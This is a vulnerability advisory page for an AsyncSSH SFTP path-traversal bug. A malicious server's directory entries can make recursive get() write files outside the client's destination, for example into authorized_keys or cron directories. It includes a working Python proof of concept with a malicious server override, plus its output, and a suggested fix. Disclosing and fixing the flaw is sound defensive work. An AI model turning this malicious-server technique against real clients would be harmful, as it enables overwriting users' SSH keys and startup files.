← Back to CVE List
CVE-2026-77473NVD
Vulnerability Summary
Summary `SFTPClient._copy()`, used by `get()`, `mget()`, and `copy()` when recursing into a remote directory, builds the local destination path for each entry using the filename returned by the server's `readdir` response, with no validation. A malicious or compromised SFTP server can return a directory entry whose "filename" is an absolute path or contains `../` traversal sequences, causing the client to write the corresponding file outside the requested destination directory. This is the same class of issue as the recently patched SCP path traversal (GHSA-2wxc-x7rj-hg8f / CVE-2026-54591), but in the SFTP code path — the guard added there (rejecting `/`, `\`, and `..` in `_parse_cd_args`) was never applied to the equivalent SFTP recursive-copy logic. Details In `asyncssh/sftp.py`, `SFTPClient._copy()`: ```python async for srcname in srcfs.scandir(srcpath): filename = cast(bytes, srcname.filename) if filename in (b'.', b'..'): continue srcfile = posixpath.join(srcpath, filename) dstfile = posixpath.join(dstpath, filename) ``` `srcname.filename` comes directly from the `SSH_FXP_NAME` response to a `readdir` request, which is fully attacker-controlled when connecting to a malicious server. The only check performed is an exact match against `.`/`..`; there is no check for embedded path separators or a leading `/`. `posixpath.join(dstpath, filename)` will: - append `../../etc/cron.d/evil` relative to `dstpath`, escaping the destination directory once the path is later resolved, or - discard `dstpath` entirely and return the attacker's path verbatim if `filename` is absolute (e.g. `/home/user/.ssh/authorized_keys`), per `posixpath.join`'s documented behavior. Confirmed present on current `develop` (commit `312678b`, 2026-07-11). PoC The following runs a real, unmodified AsyncSSH server and client over a loopback TCP connection. Only `SFTPServer.scandir()` is overridden, to return one entry with a malicious absolute-path "filename" — everything else (client `get()`, `_copy()`, the server's own protocol handling) is exercised as-is. ```python import asyncio, os, shutil, sys import asyncssh from asyncssh.sftp import SFTPServer, SFTPName, SFTPAttrs from asyncssh.constants import FILEXFER_TYPE_REGULAR, FILEXFER_TYPE_DIRECTORY WORKDIR = "/tmp/asyncssh_poc" OUTSIDE_TARGET = f"{WORKDIR}/OUTSIDE_TARGET" CLIENT_DEST = f"{WORKDIR}/client_dest" class MaliciousSFTPServer(SFTPServer): async def scandir(self, path): yield SFTPName(b'.', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY)) yield SFTPName(b'..', attrs=SFTPAttrs(type=FILEXFER_TYPE_DIRECTORY)) yield SFTPName(b'readme.txt', attrs=SFTPAttrs( type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644)) yield SFTPName(OUTSIDE_TARGET.encode(), attrs=SFTPAttrs( type=FILEXFER_TYPE_REGULAR, size=5, permissions=0o644)) async def open(self, path, pflags, attrs): content = b'PWNED' if path.endswith(OUTSIDE_TARGET.encode()) else b'hello' return _FakeFile(content) class _FakeFile: def init(self, content): self._content, self._pos = content, 0 def read(self, size=-1): size = len(self._content) - self._pos if size < 0 else size data = self._content[self._pos:self._pos + size] self._pos += len(data) return data def seek(self, offset, whence=0): self._pos = offset def tell(self): return self._pos def close(self): pass class _OpenServer(asyncssh.SSHServer): def begin_auth(self, username): return False def password_auth_supported(self): return True async def validate_password(self, username, password): return True async def main(): shutil.rmtree(WORKDIR, ignore_errors=True) os.makedirs(CLIENT_DEST, exist_ok=True) asyncssh.generate_private_key('ssh-rsa').write_private_key(f"{WORKDIR}/host_key") server = await asyncssh.listen( 'localhost', 0, server_host_keys=[f"{WORKDIR}/host_key"], sftp_factory=MaliciousSFTPServer, process_factory=lambda p: None, server_factory=_OpenServer) port = server.sockets[0].getsockname()[1] async with asyncssh.connect('localhost', port, known_hosts=None, username='u', client_keys=None) as conn: async with conn.start_sftp_client() as sftp: await sftp.get('.', CLIENT_DEST, recurse=True, sparse=False) print("Files in requested destination:", os.listdir(CLIENT_DEST)) print("File written outside destination exists:", os.path.exists(OUTSIDE_TARGET)) if os.path.exists(OUTSIDE_TARGET): print(" contents:", open(OUTSIDE_TARGET).read()) asyncio.run(main()) ``` Output: ``` Files in requested destination: ['readme.txt'] File written outside destination exists: True contents: PWNED ``` The malicious server directory entry lands outside `CLIENT_DEST`, at a path entirely of the server's choosing. Impact A malicious or compromised SFTP server can cause any client performing a recursive `get()`/`mget()`/remote-to-local `copy()` to write files to arbitrary locations on the local filesystem writable by the client process, limited only by the client's own OS permissions. This includes overwriting existing files such as `~/.ssh/authorized_keys`, cron directories, or shell startup files, depending on what the connecting user has write access to. Suggested fix Apply the same guard used in the SCP fix (`_parse_cd_args` in `asyncssh/scp.py`) to the filename returned by `scandir()` in `_copy()`: reject any entry whose filename contains `/` or `\`, or equals `..`, before it is passed to `posixpath.join()`. --- Note: AI assistance (Claude Sonnet 5) was used to help analyze the relevant code paths and to build and run the verification script above; the finding and its verification were reviewed by me before submission.
CVSS v3.1 Base Metrics — Score 6.5
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionRequired
ScopeUnchanged
ConfidentialityNone
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- asyncssh <= 2.24.0
- asyncssh 2.24.1